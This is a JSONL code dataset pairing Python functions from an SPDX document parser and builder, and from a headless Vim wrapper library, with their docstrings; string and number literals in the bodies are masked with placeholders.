{"signature": "def add_file_dep(self, doc, value):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>self.file(doc).add_depend(value)<EOL><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.", "id": "f3754:c7:m12"}
{"signature": "def set_file_atrificat_of_project(self, doc, symbol, value):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>self.file(doc).add_artifact(symbol, value)<EOL><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets a file name, uri or home artificat.\n        Raises OrderError if no package or file defined.", "id": "f3754:c7:m13"}
{"signature": "def file(self, doc):", "body": "return doc.package.files[-<NUM_LIT:1>]<EOL>", "docstring": "Returns the last file in the document's package's file list.", "id": "f3754:c7:m14"}
{"signature": "def has_file(self, doc):", "body": "return len(doc.package.files) != <NUM_LIT:0><EOL>", "docstring": "Returns true if the document's package has at least one file.\n        Does not test if the document has a package.", "id": "f3754:c7:m15"}
{"signature": "def has_package(self, doc):", "body": "return doc.package is not None<EOL>", "docstring": "Returns true if the document has a package.", "id": "f3754:c7:m16"}
{"signature": "def reset_file_stat(self):", "body": "<EOL>self.file_spdx_id_set = False<EOL>self.file_comment_set = False<EOL>self.file_type_set = False<EOL>self.file_chksum_set = False<EOL>self.file_conc_lics_set = False<EOL>self.file_license_comment_set = False<EOL>self.file_notice_set = False<EOL>self.file_copytext_set = False<EOL>", "docstring": "Resets the builder's state to enable building new files.", "id": "f3754:c7:m17"}
{"signature": "def extr_lic(self, doc):", "body": "return doc.extracted_licenses[-<NUM_LIT:1>]<EOL>", "docstring": "Retrieves last license in extracted license list", "id": "f3754:c8:m1"}
{"signature": "def set_lic_id(self, doc, lic_id):", "body": "<EOL>self.reset_extr_lics()<EOL>if validations.validate_extracted_lic_id(lic_id):<EOL><INDENT>doc.add_extr_lic(document.ExtractedLicense(lic_id))<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds a new extracted license to the document.\n        Raises SPDXValueError if data format is incorrect.", "id": "f3754:c8:m3"}
{"signature": "def set_lic_text(self, doc, text):", "body": "if self.has_extr_lic(doc):<EOL><INDENT>if not self.extr_text_set:<EOL><INDENT>self.extr_text_set = True<EOL>if validations.validate_is_free_form_text(text):<EOL><INDENT>self.extr_lic(doc).text = str_from_text(text)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets license extracted text.\n        Raises SPDXValueError if text is not free form text.\n        Raises OrderError if no license ID defined.", "id": "f3754:c8:m4"}
{"signature": "def set_lic_name(self, doc, name):", "body": "if self.has_extr_lic(doc):<EOL><INDENT>if not self.extr_lic_name_set:<EOL><INDENT>self.extr_lic_name_set = True<EOL>if validations.validate_extr_lic_name(name):<EOL><INDENT>self.extr_lic(doc).full_name = name<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets license name.\n        Raises SPDXValueError if name is not str or utils.NoAssert\n        Raises OrderError if no license id defined.", "id": "f3754:c8:m5"}
{"signature": "def set_lic_comment(self, doc, comment):", "body": "if self.has_extr_lic(doc):<EOL><INDENT>if not self.extr_lic_comment_set:<EOL><INDENT>self.extr_lic_comment_set = True<EOL>if validations.validate_is_free_form_text(comment):<EOL><INDENT>self.extr_lic(doc).comment = str_from_text(comment)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets license comment.\n        Raises SPDXValueError if comment is not free form text.\n        Raises OrderError if no license ID defined.", "id": "f3754:c8:m6"}
{"signature": "def add_lic_xref(self, doc, ref):", "body": "if self.has_extr_lic(doc):<EOL><INDENT>self.extr_lic(doc).add_xref(ref)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds a license cross reference.\n        Raises OrderError if no License ID defined.", "id": "f3754:c8:m7"}
{"signature": "def reset(self):", "body": "<EOL>self.reset_creation_info()<EOL>self.reset_document()<EOL>self.reset_package()<EOL>self.reset_file_stat()<EOL>self.reset_reviews()<EOL>self.reset_annotations()<EOL>self.reset_extr_lics()<EOL>", "docstring": "Resets builder's state for building new documents.\n        Must be called between usage with different documents.", "id": "f3754:c9:m1"}
{"signature": "def t_text(self, t):", "body": "t.lexer.text_start = t.lexer.lexpos - len('<STR_LIT>')<EOL>t.lexer.begin('<STR_LIT:text>')<EOL>", "docstring": "r':\\s*<text>", "id": "f3755:c0:m0"}
{"signature": "def t_text_end(self, t):", "body": "t.type = '<STR_LIT>'<EOL>t.value = t.lexer.lexdata[<EOL>t.lexer.text_start:t.lexer.lexpos]<EOL>t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>t.value = t.value.strip()<EOL>t.lexer.begin('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'</text>\\s*", "id": "f3755:c0:m1"}
{"signature": "def t_text_any(self, t):", "body": "pass<EOL>", "docstring": "r'.|\\n", "id": "f3755:c0:m2"}
{"signature": "def t_CHKSUM(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r':\\s*SHA1:\\s*[a-f0-9]{40,40}", "id": "f3755:c0:m4"}
{"signature": "def t_DOC_REF_ID(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r':\\s*DocumentRef-([A-Za-z0-9\\+\\.\\-]+)", "id": "f3755:c0:m5"}
{"signature": "def t_DOC_URI(self, t):", "body": "t.value = t.value.strip()<EOL>return t<EOL>", "docstring": "r'\\s*((ht|f)tps?:\\/\\/\\S*)", "id": "f3755:c0:m6"}
{"signature": "def t_EXT_DOC_REF_CHKSUM(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r'\\s*SHA1:\\s*[a-f0-9]{40,40}", "id": "f3755:c0:m7"}
{"signature": "def t_TOOL_VALUE(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r':\\s*Tool:.+", "id": "f3755:c0:m8"}
{"signature": "def t_ORG_VALUE(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r':\\s*Organization:.+", "id": "f3755:c0:m9"}
{"signature": "def t_PERSON_VALUE(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r':\\s*Person:.+", "id": "f3755:c0:m10"}
{"signature": "def t_DATE(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>return t<EOL>", "docstring": "r':\\s*\\d\\d\\d\\d-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\dZ", "id": "f3755:c0:m11"}
{"signature": "def t_KEYWORD_AS_TAG(self, t):", "body": "t.type = self.reserved.get(t.value, '<STR_LIT>')<EOL>t.value = t.value.strip()<EOL>return t<EOL>", "docstring": "r'[a-zA-Z]+", "id": "f3755:c0:m12"}
{"signature": "def t_LINE_OR_KEYWORD_VALUE(self, t):", "body": "t.value = t.value[<NUM_LIT:1>:].strip()<EOL>if t.value in self.reserved.keys():<EOL><INDENT>t.type = self.reserved[t.value]<EOL><DEDENT>else:<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT>return t<EOL>", "docstring": "r':.+", "id": "f3755:c0:m13"}
{"signature": "def t_comment(self, t):", "body": "pass<EOL>", "docstring": "r'\\#.*", "id": "f3755:c0:m14"}
{"signature": "def t_newline(self, t):", "body": "t.lexer.lineno += len(t.value)<EOL>", "docstring": "r'\\n+", "id": "f3755:c0:m15"}
{"signature": "def t_whitespace(self, t):", "body": "pass<EOL>", "docstring": "r'\\s+", "id": "f3755:c0:m16"}
{"signature": "def datetime_iso_format(date):", "body": "return \"<STR_LIT>\".format(<EOL>date.year, date.month, date.day, date.hour,<EOL>date.minute, date.second)<EOL>", "docstring": "Return an ISO-8601 representation of a datetime object.", "id": "f3756:m0"}
{"signature": "def datetime_from_iso_format(string):", "body": "match = DATE_ISO_REGEX.match(string)<EOL>if match:<EOL><INDENT>date = datetime.datetime(year=int(match.group(DATE_ISO_YEAR_GRP)),<EOL>month=int(match.group(DATE_ISO_MONTH_GRP)),<EOL>day=int(match.group(DATE_ISO_DAY_GRP)),<EOL>hour=int(match.group(DATE_ISO_HOUR_GRP)),<EOL>second=int(match.group(DATE_ISO_SEC_GRP)),<EOL>minute=int(match.group(DATE_ISO_MIN_GRP)))<EOL>return date<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return a datetime object from an iso 8601 representation.\nReturn None if string is non conforming.", "id": "f3756:m1"}
{"signature": "def t_LP(self, t):", "body": "return t<EOL>", "docstring": "r'\\(", "id": "f3756:c3:m0"}
{"signature": "def t_RP(self, t):", "body": "return t<EOL>", "docstring": "r'\\)", "id": "f3756:c3:m1"}
{"signature": "def t_AND(self, t):", "body": "t.value = t.value.strip()<EOL>return t<EOL>", "docstring": "r'\\s(and|AND)\\s", "id": "f3756:c3:m2"}
{"signature": "def t_OR(self, t):", "body": "t.value = t.value.strip()<EOL>return t<EOL>", "docstring": "r'\\s(or|OR)\\s", "id": "f3756:c3:m3"}
{"signature": "def t_whitespace(self, t):", "body": "pass<EOL>", "docstring": "r'\\s+", "id": "f3756:c3:m4"}
{"signature": "def t_LICENSE(self, t):", "body": "t.value = t.value.strip()<EOL>return t<EOL>", "docstring": "r'[A-Za-z.0-9\\-+]+", "id": "f3756:c3:m5"}
{"signature": "def input(self, data):", "body": "self.lexer.input(data)<EOL>", "docstring": "Set input, data - str.", "id": "f3756:c3:m7"}
{"signature": "def token(self):", "body": "return self.lexer.token()<EOL>", "docstring": "Get the next token or None if exhausted input.", "id": "f3756:c3:m8"}
{"signature": "def build(self, **kwargs):", "body": "self.lexer = lex.lex(module=self, **kwargs)<EOL>", "docstring": "Build lexer, must be called before input or token methods.\n        Only need to build once.", "id": "f3756:c3:m9"}
{"signature": "def p_disjunction_1(self, p):", "body": "p[<NUM_LIT:0>] = document.LicenseDisjunction(p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "disjunction : disjunction OR conjunction", "id": "f3756:c4:m1"}
{"signature": "def p_disjunction_2(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "disjunction : conjunction", "id": "f3756:c4:m2"}
{"signature": "def p_conjunction_1(self, p):", "body": "p[<NUM_LIT:0>] = document.LicenseConjunction(p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "conjunction : conjunction AND license_atom", "id": "f3756:c4:m3"}
{"signature": "def p_conjunction_2(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "conjunction : license_atom", "id": "f3756:c4:m4"}
{"signature": "def p_license_atom_1(self, p):", "body": "p[<NUM_LIT:0>] = document.License.from_identifier(p[<NUM_LIT:1>])<EOL>", "docstring": "license_atom : LICENSE", "id": "f3756:c4:m5"}
{"signature": "def p_license_atom_2(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "license_atom : LP disjunction RP", "id": "f3756:c4:m6"}
{"signature": "def build(self, **kwargs):", "body": "self.yacc = yacc.yacc(module=self, **kwargs)<EOL>", "docstring": "Must be called before parse.", "id": "f3756:c4:m8"}
{"signature": "def parse(self, data):", "body": "try:<EOL><INDENT>return self.yacc.parse(data, lexer=self.lex)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parses a license list and returns a License or None if it failed.", "id": "f3756:c4:m9"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_annotator(messages)<EOL>messages = self.validate_annotation_date(messages)<EOL>messages = self.validate_annotation_type(messages)<EOL>messages = self.validate_spdx_id(messages)<EOL>return messages<EOL>", "docstring": "Returns True if all the fields are valid.\n        Appends any error messages to messages parameter.", "id": "f3757:c0:m6"}
{"signature": "def make_decorator(func):", "body": "def decorate(newfunc):<EOL><INDENT>if hasattr(func, '<STR_LIT>'):<EOL><INDENT>name = func.compat_func_name<EOL><DEDENT>else:<EOL><INDENT>name = func.__name__<EOL><DEDENT>newfunc.__dict__ = func.__dict__<EOL>newfunc.__doc__ = func.__doc__<EOL>newfunc.__module__ = func.__module__<EOL>if not hasattr(newfunc, '<STR_LIT>'):<EOL><INDENT>newfunc.compat_co_firstlineno = six.get_function_code(func).co_firstlineno<EOL><DEDENT>try:<EOL><INDENT>newfunc.__name__ = name<EOL><DEDENT>except TypeError:<EOL><INDENT>newfunc.compat_func_name = name<EOL><DEDENT>return newfunc<EOL><DEDENT>return decorate<EOL>", "docstring": "Wraps a test decorator so as to properly replicate metadata\nof the decorated function, including nose's additional stuff\n(namely, setup and teardown).", "id": "f3761:m0"}
{"signature": "def raises(*exceptions):", "body": "valid = '<STR_LIT>'.join([e.__name__ for e in exceptions])<EOL>def decorate(func):<EOL><INDENT>name = func.__name__<EOL>def newfunc(*arg, **kw):<EOL><INDENT>try:<EOL><INDENT>func(*arg, **kw)<EOL><DEDENT>except exceptions:<EOL><INDENT>pass<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>message = \"<STR_LIT>\" % (name, valid)<EOL>raise AssertionError(message)<EOL><DEDENT><DEDENT>newfunc = make_decorator(func)(newfunc)<EOL>return newfunc<EOL><DEDENT>return decorate<EOL>", "docstring": "Test must raise one of expected exceptions to pass.\n\n    Example use::\n\n      @raises(TypeError, ValueError)\n      def test_raises_type_error():\n          raise TypeError(\"This test passes\")\n\n      @raises(Exception)\n      def test_that_fails_by_passing():\n          pass\n\n    If you want to test many assertions about exceptions in a single test,\n    you may want to use `assert_raises` instead.", "id": "f3761:m1"}
{"signature": "def get_temp_file(extension='<STR_LIT>'):", "body": "if extension and not extension.startswith('<STR_LIT:.>'):<EOL><INDENT>extension = '<STR_LIT:.>' + extension<EOL><DEDENT>file_name = '<STR_LIT>' + extension<EOL>temp_dir = tempfile.mkdtemp()<EOL>return os.path.join(temp_dir, file_name)<EOL>", "docstring": "Return a unique new temporary file location to a non-existing\ntemporary file that can safely be created without a risk of name\ncollision.", "id": "f3762:m0"}
{"signature": "def parse_rdf_file(self, file_name):", "body": "with open(file_name, mode='<STR_LIT:rb>') as infile:<EOL><INDENT>rdfparser = RDFParser(RDFBuilder(), StandardLogger())<EOL>return rdfparser.parse(infile)<EOL><DEDENT>", "docstring": "Returns tuple error, document.", "id": "f3762:c0:m0"}
{"signature": "def parse_tagvalue_file(self, file_name):", "body": "with open(file_name, mode='<STR_LIT:r>') as infile:<EOL><INDENT>tvparser = TVParser(TVBuilder(), StandardLogger())<EOL>tvparser.build()<EOL>return tvparser.parse(infile.read())<EOL><DEDENT>", "docstring": "Returns tuple error, document.", "id": "f3762:c0:m1"}
{"signature": "def to_os_native_path(path):", "body": "path = path.replace(posixpath.sep, os.path.sep)<EOL>path = path.replace(ntpath.sep, os.path.sep)<EOL>path = path.rstrip(os.path.sep)<EOL>return path<EOL>", "docstring": "Normalize a path to use the native OS path separator.", "id": "f3764:m1"}
{"signature": "def strip_variable_text(rdf_text):", "body": "replace_nid = re.compile('<STR_LIT>').sub<EOL>rdf_text = replace_nid('<STR_LIT>', rdf_text)<EOL>replace_creation = re.compile('<STR_LIT>', re.DOTALL).sub<EOL>rdf_text = replace_creation('<STR_LIT>', rdf_text)<EOL>replace_pcc = re.compile('<STR_LIT>', re.DOTALL).sub<EOL>rdf_text = replace_pcc('<STR_LIT>', rdf_text)<EOL>return rdf_text<EOL>", "docstring": "Return rdf_text stripped from variable parts such as rdf nodeids", "id": "f3764:m2"}
{"signature": "def load_and_clean_rdf(location):", "body": "content = codecs.open(location, encoding='<STR_LIT:utf-8>').read()<EOL>content = strip_variable_text(content)<EOL>data = xmltodict.parse(content, dict_constructor=dict)<EOL>return sort_nested(data)<EOL>", "docstring": "Return plain Python nested data for the SPDX RDF file at location\nsuitable for comparison. The file content is cleaned from variable\nparts such as dates, generated UUIDs and versions\n\nNOTE: we use plain dicts to avoid ordering issues in XML. the SPDX\ntool and lxml do not seem to return a consistent ordering that is\nneeded for tests.", "id": "f3764:m3"}
{"signature": "def sort_nested(data):", "body": "if isinstance(data, dict):<EOL><INDENT>new_data = {}<EOL>for k, v in data.items():<EOL><INDENT>if isinstance(v, list):<EOL><INDENT>v = sorted(v)<EOL><DEDENT>if isinstance(v, dict):<EOL><INDENT>v = sort_nested(v)<EOL><DEDENT>new_data[k] = v<EOL><DEDENT>return new_data<EOL><DEDENT>elif isinstance(data, list):<EOL><INDENT>new_data = []<EOL>for v in sorted(data):<EOL><INDENT>if isinstance(v, list):<EOL><INDENT>v = sort_nested(v)<EOL><DEDENT>if isinstance(v, dict):<EOL><INDENT>v = sort_nested(v)<EOL><DEDENT>new_data.append(v)<EOL><DEDENT>return new_data<EOL><DEDENT>", "docstring": "Return a new dict with any nested list sorted recursively.", "id": "f3764:m4"}
{"signature": "def check_rdf_scan(expected_file, result_file, regen=False):", "body": "import json<EOL>result = load_and_clean_rdf(result_file)<EOL>if regen:<EOL><INDENT>expected = result<EOL>with codecs.open(expected_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as o:<EOL><INDENT>json.dump(expected, o, indent=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with codecs.open(expected_file, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as i:<EOL><INDENT>expected = sort_nested(json.load(i))<EOL><DEDENT><DEDENT>assert expected == result<EOL>", "docstring": "Check that expected and result_file are equal.\nBoth are paths to SPDX RDF XML files, UTF-8 encoded.", "id": "f3764:m5"}
{"signature": "def load_and_clean_tv(location):", "body": "content = codecs.open(location, encoding='<STR_LIT:utf-8>').read()<EOL>content = [l for l in content.splitlines(False)<EOL>if l and l.strip() and not l.startswith(('<STR_LIT>', '<STR_LIT>',))]<EOL>return '<STR_LIT:\\n>'.join(content)<EOL>", "docstring": "Return a mapping for the SPDX TV file at location suitable for\ncomparison. The file content is cleaned from variable parts such as\ndates, generated UUIDs and versions", "id": "f3764:m6"}
{"signature": "def check_tv_scan(expected_file, result_file, regen=False):", "body": "result = load_and_clean_tv(result_file)<EOL>if regen:<EOL><INDENT>with codecs.open(expected_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as o:<EOL><INDENT>o.write(result)<EOL><DEDENT><DEDENT>expected = load_and_clean_tv(expected_file)<EOL>assert expected == result<EOL>", "docstring": "Check that expected and result_file are equal.\nBoth are paths to plain SPDX tv text files, UTF-8 encoded.", "id": "f3764:m7"}
{"signature": "def __init__(self, default_args):", "body": "self._default_args = default_args<EOL>", "docstring": ":param default_args: default arguments\n:type default_args: string or list of string", "id": "f3777:c0:m0"}
{"signature": "def parse(self, args):", "body": "if args is None:<EOL><INDENT>args = self._default_args<EOL><DEDENT>if isinstance(args, six.string_types):<EOL><INDENT>args = shlex.split(args)<EOL><DEDENT>return args<EOL>", "docstring": ":param args: arguments\n:type args: None or string or list of string\n:return: formatted arguments if specified else ``self.default_args``\n:rtype: list of string", "id": "f3777:c0:m1"}
{"signature": "@property<EOL><INDENT>def default_args(self):<DEDENT>", "body": "return self._default_args<EOL>", "docstring": ":return: default arguments given on ``init``.\n:rtype: string or list of string", "id": "f3777:c0:m2"}
{"signature": "def __init__(self, vim):", "body": "self._ref = weakref.ref(vim)<EOL>self._list = self.parse(vim.command('<STR_LIT>'))<EOL>", "docstring": ":param vim: ``Vim`` object which owns this object.\n:type vim: Vim", "id": "f3778:c0:m0"}
{"signature": "def insert(self, index, value):", "body": "self._list.insert(index, value)<EOL>self._sync()<EOL>", "docstring": "Insert object before index.\n\n:param int index: index to insert in\n:param string value: path to insert", "id": "f3778:c0:m7"}
{"signature": "def format(self, list):", "body": "values = '<STR_LIT:U+002C>'.join(list)<EOL>return '<STR_LIT>' + values<EOL>", "docstring": "Format list to runtime path representation.\n\n:param list: list of paths to format\n:type list: list of string\n:return: *Vim* style runtime path string representation\n:rtype: string", "id": "f3778:c0:m8"}
{"signature": "def parse(self, string):", "body": "var, eq, values = string.strip().partition('<STR_LIT:=>')<EOL>assert var == '<STR_LIT>'<EOL>assert eq == '<STR_LIT:=>'<EOL>return values.split('<STR_LIT:U+002C>')<EOL>", "docstring": "Parse runtime path representation to list.\n\n:param string string: runtime path string\n:return: list of runtime paths\n:rtype: list of string", "id": "f3778:c0:m9"}
{"signature": "def open(**kwargs):", "body": "return Vim(**kwargs)<EOL>", "docstring": "A factory function to open new ``Vim`` object.\n``with`` statement can be used for this.", "id": "f3780:m0"}
{"signature": "def __init__(self,<EOL>executable='<STR_LIT>',<EOL>args=None,<EOL>env=None,<EOL>encoding='<STR_LIT:utf-8>',<EOL>size=(<NUM_LIT>, <NUM_LIT>),<EOL>timeout=<NUM_LIT>):", "body": "parser = arguments.Parser(self.default_args)<EOL>args = parser.parse(args)<EOL>self._process = process.Process(executable, args, env)<EOL>self._encoding = encoding<EOL>self._screen = pyte.Screen(*size)<EOL>self._stream = pyte.Stream()<EOL>self._stream.attach(self._screen)<EOL>self._timeout = timeout<EOL>self._tempfile = tempfile.NamedTemporaryFile(mode='<STR_LIT:r>')<EOL>self._runtimepath = None<EOL>self.wait()<EOL>", "docstring": ":param string executable: command name to execute *Vim*\n:param args: arguments to execute *Vim*\n:type args: None or string or list of string\n:param env: environment variables to execute *Vim*\n:type env: None or dict of (string, string)\n:param string encoding: internal encoding of *Vim*\n:param size: (lines, columns) of a screen connected to *Vim*\n:type size: (int, int)\n:param float timeout: seconds to wait I/O", "id": "f3780:c0:m0"}
{"signature": "def close(self):", "body": "self._tempfile.close()<EOL>self._process.terminate()<EOL>if self._process.is_alive():<EOL><INDENT>self._process.kill()<EOL><DEDENT>", "docstring": "Disconnect and close *Vim*.", "id": "f3780:c0:m5"}
{"signature": "def is_alive(self):", "body": "return self._process.is_alive()<EOL>", "docstring": "Check if the background *Vim* process is alive.\n\n:return: True if the process is alive, else False\n:rtype: boolean", "id": "f3780:c0:m6"}
{"signature": "def display(self):", "body": "return '<STR_LIT:\\n>'.join(self.display_lines())<EOL>", "docstring": "Shows the terminal screen connecting to *Vim*.\n\nExample:\n\n>>> import headlessvim\n>>> with headlessvim.open(size=(64, 16)) as vim: # doctest: +SKIP\n...     print(vim.display())\n...\n~\n~                          VIM - Vi IMproved\n~\n~                           version 7.4.52\n~                      by Bram Moolenaar et al.\n~\n~             Vim is open source and freely distributable\n~\n~                      Sponsor Vim development!\n~           type  :help sponsor<Enter>    for information\n~\n~           type  :q<Enter>               to exit\n~           type  :help<Enter>  or  <F1>  for on-line help\n~           type  :help version7<Enter>   for version info\n~\n~\n\n:return: screen as a text\n:rtype: string", "id": "f3780:c0:m7"}
{"signature": "def display_lines(self):", "body": "return self._screen.display<EOL>", "docstring": "Shows the terminal screen splitted by newlines.\n\nAlmost equals to ``self.display().splitlines()``\n\n:return: screen as a list of strings\n:rtype: list of string", "id": "f3780:c0:m8"}
{"signature": "def send_keys(self, keys, wait=True):", "body": "self._process.stdin.write(bytearray(keys, self._encoding))<EOL>self._process.stdin.flush()<EOL>if wait:<EOL><INDENT>self.wait()<EOL><DEDENT>", "docstring": "Send a raw key sequence to *Vim*.\n\n.. note:: *Vim* style key sequence notation (like ``<Esc>``)\n          is not recognized.\n          Use escaped characters (like ``'\\033'``) instead.\n\nExample:\n\n>>> import headlessvim\n>>> with headlessvim.open() as vim:\n...     vim.send_keys('ispam\\033')\n...     str(vim.display_lines()[0].strip())\n...\n'spam'\n\n:param strgin keys: key sequence to send\n:param boolean wait: whether if wait a response", "id": "f3780:c0:m9"}
{"signature": "def wait(self, timeout=None):", "body": "if timeout is None:<EOL><INDENT>timeout = self._timeout<EOL><DEDENT>while self._process.check_readable(timeout):<EOL><INDENT>self._flush()<EOL><DEDENT>", "docstring": "Wait for response until timeout.\nIf timeout is specified to None, ``self.timeout`` is used.\n\n:param float timeout: seconds to wait I/O", "id": "f3780:c0:m10"}
{"signature": "def install_plugin(self, dir, entry_script=None):", "body": "self.runtimepath.append(dir)<EOL>if entry_script is not None:<EOL><INDENT>self.command('<STR_LIT>'.format(entry_script), False)<EOL><DEDENT>", "docstring": "Install *Vim* plugin.\n\n:param string dir: the root directory contains *Vim* script\n:param string entry_script: path to the initializing script", "id": "f3780:c0:m11"}
{"signature": "def command(self, command, capture=True):", "body": "if capture:<EOL><INDENT>self.command('<STR_LIT>'.format(self._tempfile.name), False)<EOL><DEDENT>self.set_mode('<STR_LIT>')<EOL>self.send_keys('<STR_LIT>'.format(command))<EOL>if capture:<EOL><INDENT>self.command('<STR_LIT>', False)<EOL>return self._tempfile.read().strip('<STR_LIT:\\n>')<EOL><DEDENT>", "docstring": "Execute command on *Vim*.\n.. warning:: Do not use ``redir`` command if ``capture`` is ``True``.\nIt's already enabled for internal use.\n\nIf ``capture`` argument is set ``False``,\nthe command execution becomes slightly faster.\n\nExample:\n\n>>> import headlessvim\n>>> with headlessvim.open() as vim:\n...     vim.command('echo 0')\n...\n'0'\n>>> with headlessvim.open() as vim:\n...     vim.command('let g:spam = \"ham\"', False)\n...     vim.echo('g:spam')\n...\n'ham'\n\n:param string command: a command to execute\n:param boolean capture: ``True`` if command's output needs to be\n                        captured, else ``False``\n:return: the output of the given command\n:rtype: string", "id": "f3780:c0:m12"}
{"signature": "def echo(self, expr):", "body": "return self.command('<STR_LIT>'.format(expr))<EOL>", "docstring": "Execute ``:echo`` command on *Vim*.\n\n.. note:: The given string is passed to *Vim* as it is.\n          Make sure to quote bare words.\n\nExample:\n\n>>> import headlessvim\n>>> with headlessvim.open() as vim:\n...     vim.echo('0')\n...\n'0'\n>>> with headlessvim.open() as vim:\n...     vim.echo('\"spam\"')\n...\n'spam'\n\n:param string expr: a expr to ``:echo``\n:return: the result of ``:echo`` command\n:rtype: string", "id": "f3780:c0:m13"}
{"signature": "def set_mode(self, mode):", "body": "keys = '<STR_LIT>'<EOL>if mode == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>keys += '<STR_LIT:i>'<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>keys += '<STR_LIT::>'<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>keys += '<STR_LIT:v>'<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>keys += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(mode))<EOL><DEDENT>self.send_keys(keys)<EOL>", "docstring": "Set *Vim* mode to ``mode``.\nSupported modes:\n\n* ``normal``\n* ``insert``\n* ``command``\n* ``visual``\n* ``visual-block``\n\n\nThis method behave as setter-only property.\n\nExample:\n\n>>> import headlessvim\n>>> with headlessvim.open() as vim:\n...     vim.set_mode('insert')\n...     vim.mode = 'normal' # also accessible as property\n...\n\n:param string mode: *Vim* mode to set\n:raises ValueError: if ``mode`` is not supported", "id": "f3780:c0:m14"}
{"signature": "@property<EOL><INDENT>def executable(self):<DEDENT>", "body": "return self._process.executable<EOL>", "docstring": ":return: the absolute path to the process.\n:rtype: string", "id": "f3780:c0:m15"}
{"signature": "@property<EOL><INDENT>def args(self):<DEDENT>", "body": "return self._process.args<EOL>", "docstring": ":return: arguments for the process.\n:rtype: list of string", "id": "f3780:c0:m16"}
{"signature": "@property<EOL><INDENT>def encoding(self):<DEDENT>", "body": "return self._encoding<EOL>", "docstring": ":return: internal encoding of *Vim*.\n:rtype: string", "id": "f3780:c0:m17"}
{"signature": "@property<EOL><INDENT>def screen_size(self):<DEDENT>", "body": "return self._swap(self._screen.size)<EOL>", "docstring": ":return: (lines, columns) tuple of a screen connected to *Vim*.\n:rtype: (int, int)", "id": "f3780:c0:m18"}
{"signature": "@screen_size.setter<EOL><INDENT>def screen_size(self, size):<DEDENT>", "body": "if self.screen_size != size:<EOL><INDENT>self._screen.resize(*self._swap(size))<EOL><DEDENT>", "docstring": ":param size: (lines, columns) tuple of a screen connected to *Vim*.\n:type size: (int, int)", "id": "f3780:c0:m19"}
{"signature": "@property<EOL><INDENT>def timeout(self):<DEDENT>", "body": "return self._timeout<EOL>", "docstring": ":return: seconds to wait I/O.\n:rtype: float", "id": "f3780:c0:m20"}
{"signature": "@timeout.setter<EOL><INDENT>def timeout(self, timeout):<DEDENT>", "body": "self._timeout = timeout<EOL>", "docstring": ":param float timeout: seconds to wait I/O.", "id": "f3780:c0:m21"}
{"signature": "@property<EOL><INDENT>def runtimepath(self):<DEDENT>", "body": "if self._runtimepath is None:<EOL><INDENT>self._runtimepath = runtimepath.RuntimePath(self)<EOL><DEDENT>return self._runtimepath<EOL>", "docstring": ":return: runtime path of *Vim*\n:rtype: runtimepath.RuntimePath", "id": "f3780:c0:m22"}
